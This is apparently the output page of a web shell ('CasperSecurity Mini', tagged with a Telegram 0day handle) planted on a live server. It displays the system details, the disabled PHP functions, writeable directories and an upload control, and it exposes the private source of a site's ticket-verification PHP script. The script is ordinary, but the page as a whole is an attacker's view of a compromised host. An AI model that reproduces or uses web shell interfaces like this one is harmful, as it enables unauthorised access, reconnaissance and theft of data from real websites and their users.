T.ME/BIBIL_0DAY
CasperSecurity


Server : Apache/2
System : Linux server-15-235-50-60 5.15.0-164-generic #174-Ubuntu SMP Fri Nov 14 20:25:16 UTC 2025 x86_64
User : gositeme ( 1004)
PHP Version : 8.2.29
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Directory :  /home/gositeme/domains/soundstudiopro.com/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/gositeme/domains/soundstudiopro.com/public_html/verify_ticket.php
<?php
session_start();
require_once 'config/database.php';
require_once 'includes/event_permissions.php';

header('Content-Type: application/json');

$pdo = getDBConnection();
$user_id = $_SESSION['user_id'] ?? null;

if (!$user_id) {
    echo json_encode(['success' => false, 'error' => 'Not authenticated']);
    exit;
}

ensureEventManagersTable($pdo);

$ticket_code = $_POST['ticket_code'] ?? $_GET['code'] ?? null;

if (!$ticket_code) {
    echo json_encode(['success' => false, 'error' => 'Ticket code required']);
    exit;
}

try {
    // Get ticket with event info
    $stmt = $pdo->prepare("
        SELECT 
            et.*,
            e.id as event_id,
            e.title as event_title,
            e.creator_id,
            u.name as attendee_name,
            u.email as attendee_email
        FROM event_tickets et
        JOIN events e ON et.event_id = e.id
        JOIN users u ON et.user_id = u.id
        WHERE et.ticket_code = ?
    ");
    
    $stmt->execute([$ticket_code]);
    $ticket = $stmt->fetch(PDO::FETCH_ASSOC);
    
    if (!$ticket) {
        echo json_encode([
            'success' => false,
            'error' => 'Ticket not found',
            'valid' => false
        ]);
        exit;
    }
    
    $can_manage = userCanManageEvent($pdo, $user_id, (int)$ticket['event_id']);
    
    if (!$can_manage) {
        echo json_encode([
            'success' => false,
            'error' => 'You do not have permission to verify tickets for this event',
            'valid' => false
        ]);
        exit;
    }
    
    // Check ticket status
    if ($ticket['status'] === 'used') {
        echo json_encode([
            'success' => true,
            'valid' => false,
            'error' => 'Ticket already used',
            'ticket' => [
                'code' => $ticket['ticket_code'],
                'attendee' => $ticket['attendee_name'],
                'used_at' => $ticket['checked_in_at']
            ]
        ]);
        exit;
    }
    
    if ($ticket['status'] === 'cancelled') {
        echo json_encode([
            'success' => true,
            'valid' => false,
            'error' => 'Ticket has been cancelled',
            'ticket' => [
                'code' => $ticket['ticket_code'],
                'attendee' => $ticket['attendee_name']
            ]
        ]);
        exit;
    }
    
    // Verify ticket - mark as used
    if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['verify'])) {
        $stmt = $pdo->prepare("
            UPDATE event_tickets 
            SET status = 'used', 
                checked_in_at = NOW(), 
                checked_in_by = ?
            WHERE ticket_code = ? AND status = 'confirmed'
        ");
        
        $stmt->execute([$user_id, $ticket_code]);
        
        echo json_encode([
            'success' => true,
            'valid' => true,
            'verified' => true,
            'ticket' => [
                'code' => $ticket['ticket_code'],
                'attendee' => $ticket['attendee_name'],
                'event' => $ticket['event_title'],
                'verified_at' => date('Y-m-d H:i:s')
            ]
        ]);
    } else {
        // Just check ticket validity
        echo json_encode([
            'success' => true,
            'valid' => true,
            'ticket' => [
                'code' => $ticket['ticket_code'],
                'attendee' => $ticket['attendee_name'],
                'event' => $ticket['event_title'],
                'status' => $ticket['status']
            ]
        ]);
    }
    
} catch (Exception $e) {
    error_log("Ticket Verification Error: " . $e->getMessage());
    echo json_encode([
        'success' => false,
        'error' => 'Verification failed: ' . $e->getMessage()
    ]);
}
?>


CasperSecurity Mini